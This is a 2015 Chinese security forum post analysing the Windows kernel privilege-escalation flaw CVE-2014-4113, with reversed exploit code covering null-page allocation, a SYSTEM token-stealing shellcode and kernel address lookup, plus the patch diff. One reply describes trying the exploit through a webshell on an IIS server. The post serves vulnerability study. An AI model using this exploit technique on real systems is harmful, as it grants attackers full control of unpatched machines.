首页
社区
课程
招聘
[原创]CVE-2014-4113分析及Exploit逆向
发表于: 2015-2-26 15:07 10154

[原创]CVE-2014-4113分析及Exploit逆向

2015-2-26 15:07
10154

一、  调试环境
win Server datacenter 2008 sp1  32位  win32k.sys版本号:6.0.6001.18000
windbg,ida6.5,VirtualKD-2.8
样本直接网上搜索下载即可。
微软编号MS14-058 
微软知识库:https://support.microsoft.com/kb/3000061

二、  漏洞原因
1、  在win32k.sys文件中_xxxHandleMenuMessages会调用xxxMNFindWindowFromPoint。但其返回值的检查不严格。随后直接将返回值-5传给了xxxSendMessage。下图中v13即是返回值tagWND。下图最后一句,v13直接被做为参数传给了xxxSendMessage。



2、  xxxSendMessage直接调用xxxSendMessageTimeout
ULONG __stdcall xxxSendMessage(int a1, int MbString, int AllocationSize, void *a4)
{
  return xxxSendMessageTimeout(a1, MbString, AllocationSize, a4, 0, 0, 0, 1);
}

3、  xxxSendMessageTimeout中会调用tagWND偏移60h处的指针。
push    esi
call    dword ptr [esi+60h]  // esi即是tagWND

4、换言之,如果上图中v13的值为-5,也就是xxxMNFindWindowFromPoint返回了-5,将会:
push    esi    //esi=-5
call    dword ptr [5B]   //如果在0x5B这里放置好ShellCode即可干点别的事。

三、  漏洞利用
漏洞触发和利用的全过程如下图所示:



触发和利用主要有以下几步:
1、  创建菜单。
2、  设置HOOK函数。在HOOK函数中使用SetWindowLongA设置菜单的WndProc。
3、  调用TrackPopupMenu。让菜单弹出。
4、  模拟LBUTTONDOWN点击菜单。让菜单对象的WndProc得到执行。
5、  当WndProc执行时,会收到内核发送的MN_FINDWINDOWFROMPOINT(1EB)消息,应用层处理此消息。时用EndMenu销毁菜单,并强制返回0xFFFFFFFB,触发漏洞转向ShellCode。

注:
  上图中内核win32k里的_xxxMNLoop函数中两个地方调用xxxHandleMenuMessages,一是在while(1)之前,另一处是在while(1)之中。
  在进入主循环while (1)之前会调用一次,但这次并不是wndProc销毁菜单返回-5的地方。而是在进入主循环后不断地处理消息,才会轮到漏洞触发。
  百度安全攻防实验室在乌云上发布的《Windows内核提权漏洞CVE-2014-4113分析报告》,文中“0x01 漏洞分析”第2小段的描述是不正确的,或者容易引起歧义。该文中提到“进入真正的while循环之前会调用win32k!xxxHandleMenuMessage,继续跟进win32k!xxxHandleMenuMessages ,其会事先调用win32k!xxxMNFindWindowFromPoint来得到菜单窗口对象指针ptagWND”。
  漏洞触发后用windbg不断地Shift+F11可以退到下图这个地方。熟悉windows编程很容易看懂,这是非常标准的window消息循环。Translate之后Dispatch。这是while(1)循环之中触发漏洞。而不是该文中所述循环之前触发。



四、  0地址分配内存
0地址分配内存是漏洞利用的技巧,微软实现ZwAllocateVirtualMemory函数时没注意到这个问题。此技巧主要应用在以下几种情况:
A、  使用null指针。
B、  某函数返回负数,而调用者没有检查返回值,直接把负数当指针。本漏洞就是属于这种情况。
ZwAllocateVirtualMemory的参数如下:
NTSTATUS ZwAllocateVirtualMemory(
  _In_     HANDLE ProcessHandle,   //当前进程传-1即可
  _Inout_  PVOID *BaseAddress,
  _In_     ULONG_PTR ZeroBits,
  _Inout_  PSIZE_T RegionSize,
  _In_     ULONG AllocationType,
  _In_     ULONG Protect
);
使用此函数的过程如下:
    HMODULE hnt = LoadLibraryA("ntdll.dll");
    P_ZwAllocateVirtualMemory pfZwAllocateVirtualMemory = (P_ZwAllocateVirtualMemory)GetProcAddress(hnt, "ZwAllocateVirtualMemory");
    ULONG base = 1;
    PVOID *p = (PVOID *)&base;
    SIZE_T s = 8192; //一个内存页。
    ULONG eax = pfZwAllocateVirtualMemory((HANDLE)-1, p, 0, &s, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
    if (eax != 0)
    {
        printf("error %08x ",eax);
    }
上述调用过程中,有下列参数要注意:
1、  BaseAddress传入1。
2、  RegionSize为8192,一个内存页。
3、  AllocationType中要包括MEM_TOP_DOWN。指从上向下分配内存。由于BaseAddress为1,这样分配成功后的地址范围就是0xFFFFE001 (-8191) 到 1。0地址也包括其中。这时再向0指针写数据并执行,都没问题了。

五、  提权函数ShellCode部分
在上述0页内存分配之后,就可以向-5的内存地址处构造tagWND数据。注意其中三处赋值都是根据xxxSendMessageTimeout中的跳转机制来设定的。其偏移分别是:0x3,0x11,0x5B。



上述函数执行完成后,-5(0xFFFFFFFB)处内存如下图所示:



上图内存中0x5B处指向提权函数。提权函数很简单:
void __stdcall ShellCode()    //sub_401830
{
  int v4; // [sp+0h] [bp-8h]@1
  int v5; // [sp+4h] [bp-4h]@1

  funPsLookupProcessByProcessId(dword_PID, &v4);
  funPsLookupProcessByProcessId(dword_SYSID, &v5);
  *(DWORD *)(dword_40C008 + v4) = *(DWORD *)(dword_40C008 + v5);

//*((EPROCESS*)(PsLookupProcessByProcessId(currentPID)).Token)=
//*((EPROCESS*)(PsLookupProcessByProcessId(4/*system*/)).Token)
}
六、  利用ZwQuerySystemInformation获取PsLookupProcessByProcessId
前面所述提权函数中,最主要就是两次调用PsLookupProcessByProcessId函数。所以得到该函数在内核中的地址是很重要的一步。
  利用ntdll.dll中的ZwQuerySystemInformation函数,可以查询内核信息ntkrnlpa.exe。该函数可以查询包括进程信息、内核信息、硬件如cpu数目、句柄、时间信息等信息。

NTSTATUS WINAPI ZwQuerySystemInformation(
  __in          SYSTEM_INFORMATION_CLASS SystemInformationClass,
  __in_out     PVOID SystemInformation,
  __in          ULONG SystemInformationLength,
  __out_opt    PULONG ReturnLength
);

其第一个参数SYSTEM_INFORMATION_CLASS是一个枚举结构。枚举了所有的系统信息。
该枚举定义如下:
typedefenum_SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation,//0YN
SystemProcessorInformation,//1YN
SystemPerformanceInformation,//2YN
SystemTimeOfDayInformation,//3YN
SystemNotImplemented1,//4YN
SystemProcessesAndThreadsInformation,//5YN
SystemCallCounts,//6YN
SystemConfigurationInformation,//7YN
SystemProcessorTimes,//8YN
SystemGlobalFlag,//9YY
SystemNotImplemented2,//10YN
SystemModuleInformation,//11YN
//……这里还有很多,略去。
SystemSessionProcessesInformation//53YN
}SYSTEM_INFORMATION_CLASS;

通过传入SystemModuleInformation  11参数。可以查询到系统内核信息。

ZwQuerySystemInformation函数分别可以在内核模式和用户模式下使用。本漏洞的利用是要在用户模式调用此函数并传入SystemModuleInformation参数。来查询内核信息。

在用户模式调用时先声明一个函数。
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(IN SYSTEM_INFORMATION_CLASS,IN OUT PVOID, INULONG, OUTPULONG);
加载NTDLL.DLL,获取函数地址。
NTQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
ZwQuerySystemInformation =
(NTQUERYSYSTEMINFORMATION)GetProcAddress(ntdll.dll,"ZwQuerySystemInfromation");

使用Windbg带源码调试看看取到的内核模块值


上图的函数返回后,在下图中看看如何去获取PsLookupProcessByProcessId在内核中的地址。


七、  内核中的提权过程
前面已经把exploit的关键部分分析了,可以直接编译exe。在运行exe之前,用windbg下断点:ba e1 win32k!xxxMNFindWindowFromPoint,中断后执行到返回。



  上图中可以看到eax=0xfffffffb,继续向下执行:



  0xfffffffb将作为tagWND传给xxxSendMessageTimeout。下图中的call,将转向ring3里构造的提权代码。



  用F11命令进入提权代码:


  上图中可以看到PsLookupProcessByProcessId的值即是上一节中取出来的值0x81c17218。提权代码的意义是将EPROCESS结构中的Token字段,替换为ProcessID=4,也就是System进程的Token。
  用windbg的dt _EPROCESS来看看它的结构。该结构在不同的操作系统版本中,Token有不同的偏移量。这里对应的是0xE0;
kd> dt _EPROCESS 8ad23d90
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x080 ProcessLock      : _EX_PUSH_LOCK
   +0x088 CreateTime       : _LARGE_INTEGER 0x1d049b8`6b61e42d
   +0x090 ExitTime         : _LARGE_INTEGER 0x0
   +0x098 RundownProtect   : _EX_RUNDOWN_REF
   +0x09c UniqueProcessId  : 0x00000e68 Void
   +0x0a0 ActiveProcessLinks : _LIST_ENTRY [ 0x81b13990 - 0x8ad61588 ]
   +0x0a8 QuotaUsage       : [3] 0x6c0
   +0x0b4 QuotaPeak        : [3] 0x6c0
   +0x0c0 CommitCharge     : 0x143
   +0x0c4 PeakVirtualSize  : 0x209d000
   +0x0c8 VirtualSize      : 0x209d000
   +0x0cc SessionProcessLinks : _LIST_ENTRY [ 0x900ee010 - 0x8ad615b4 ]
   +0x0d4 DebugPort        : (null)   //玩游戏的熟悉这个
   +0x0d8 ExceptionPortData : 0x8aa4b4c0 Void
   +0x0d8 ExceptionPortValue : 0x8aa4b4c0
   +0x0d8 ExceptionPortState : 0y000
   +0x0dc ObjectTable      : 0x9b4ff1c0 _HANDLE_TABLE
   +0x0e0 Token            : _EX_FAST_REF  //要换掉的就是这里。
   //……后面还有很长。略去。

八、  微软的补丁方案
Windows6.0-KB3000061-x86.msu安装文件是针对此漏洞的补丁文件。来看看微软大神们是如何解决此问题的。首先用Bindiff工具来对比补丁文件。xxxHandleMenuMessage只有0.94的相似度。



再看看汇编中增加了什么:
.text:BF905F43 loc_BF905F43:                           ; CODE XREF: xxxHandleMenuMessages(x,x,x)+128 j
.text:BF905F43                 push    ebx             ; ebx即是popmenuwndproc的返回值-5
.text:BF905F44                 call    _IsMFMWFPWindow@4 ; IsMFMWFPWindow(x)
.text:BF905F49                 test    eax, eax        ; 补丁增加了上面这个函数检查。
.text:BF905F4B                 jnz     short loc_BF905F55
.text:BF905F4D
.text:BF905F4D loc_BF905F4D:                           ; CODE XREF: xxxHandleMenuMessages(x,x,x)+10C j
.text:BF905F4D                                         ; xxxHandleMenuMessages(x,x,x)+426 j ...
.text:BF905F4D                 push    esi
.text:BF905F4E                 call    _xxxMNDismiss@4 ; xxxMNDismiss(x)
.text:BF905F53                 jmp     short loc_BF905F7D ; 跳走结束
.text:BF905F55 ; ---------------------------------------------------------------------------
.text:BF905F55
.text:BF905F55 loc_BF905F55:                           ; CODE XREF: xxxHandleMenuMessages(x,x,x)+564 j
.text:BF905F55                 push    0               ; void *
.text:BF905F57                 push    [ebp+AllocationSize] ; AllocationSize
.text:BF905F5A                 push    1EDh            ; MbString
.text:BF905F5F                 push    ebx             ; int
.text:BF905F60                 call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)

备注:
1、使用Bindiff时注意:
Bindiff4.0只支持ida6.0及以上的版本。当然6.5也是支持的。
Bindiff会将ida所需的插件安装在C:\Program Files (x86)\IDA\plugins目录
但由于ida6.5是下载版本。不是安装版本。所以要将上述目录中的四个插件拷贝到ida\plugins里。
2、微软编号MS11-054,涉及8个CVE(CVE-2011-1878~CVE-2011-1885)在11年已经修补过popmenu相关的漏洞。MJ的《从Dump到POC系列一:Win32k内核提权漏洞分析》有深入分析。做个记录备查。
3、附件源码使用vs2010可编译。再改动还可以干点别的。调试时用windbg加上源码路径很方便。要用Release模式编译后,shellcode部分在内核里执行才正常。用Debug模式编译的后果你懂的。代码基本是直接F5过来改了些名字。求别骂。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 4
支持
分享
最新回复 (18)
雪    币: 1626
活跃值: (148)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
2
Good ! Thanks for share
2015-2-26 15:11
0
雪    币: 60
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢分享 。
2015-2-26 18:11
0
雪    币: 60
活跃值: (21)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
楼主分析的很全面 我在逆向方面 是个初学 这个exp 我在windows 2003 sp2 +IIS 环境下webshell下测试不成功。。。利用wscript.shell下进程起不来,用 application.shell 会报出0xc0000124 的错误 能帮我看下吗
2015-2-27 08:59
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
楼主能私信下留个联系方式吗?
2015-2-27 09:39
0
雪    币: 206
活跃值: (85)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
楼主分析很详细,谢谢分享!
2015-2-28 11:39
0
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
感谢LZ的分享~
2015-2-28 12:13
0
雪    币: 118
活跃值: (44)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
8
楼主留下乌云的ID,我要拜读楼主的其他大作
2015-3-2 14:00
0
雪    币: 1204
活跃值: (135)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
9
to:package,我最近没有iis的环境。回头看看。
to:Tweek,乌云没有id呢。以后有了告诉你。
谢谢各位朋友顶贴。
2015-3-12 11:36
0
雪    币: 63
活跃值: (50)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
分析的很仔细,不过调用过程图有些小问题,TrackPopupMenuWndProc应该是由xxxSendMessageTimeout中调用的函数触发的,而不是xxxSendMessage直接触发。
2015-3-14 22:30
0
雪    币: 1204
活跃值: (135)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
11
谢hanfengley指出,我微调了一下。
2015-3-14 22:55
0
雪    币: 1556
活跃值: (310)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
12
Bindiff4安装各种矫情,是不是还得找老的jre6才能装
2015-3-17 10:29
0
雪    币: 7
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
好厉害,受益匪浅。
2015-3-17 10:31
0
雪    币: 2829
活跃值: (1005)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
学习了,感谢分享
2015-3-21 23:48
0
雪    币: 230
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
15
先点赞,再读好文
2015-3-23 15:09
0
雪    币: 11
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
有个问题不太理解,请问各位,内核中调用的是应用层写入的0字址附近的shellcode, 请问内核中的内存址和应用层的内存地址不是不一样吗?  应用层不说虚拟内存,内核中应该是物理内存地址吧,那两个shellcode地址怎么是一样的,求解?
2015-3-24 17:50
0
雪    币: 22
活跃值: (242)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
17
好好研究研究
2015-6-1 08:43
0
雪    币: 201
活跃值: (689)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
学习了
2017-4-3 01:43
0
雪    币: 461
活跃值: (307)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
19
还有这么多种神奇的操作啊,学习了,感谢大佬!
2018-8-17 11:06
0
游客
登录 | 注册 方可回帖
返回
//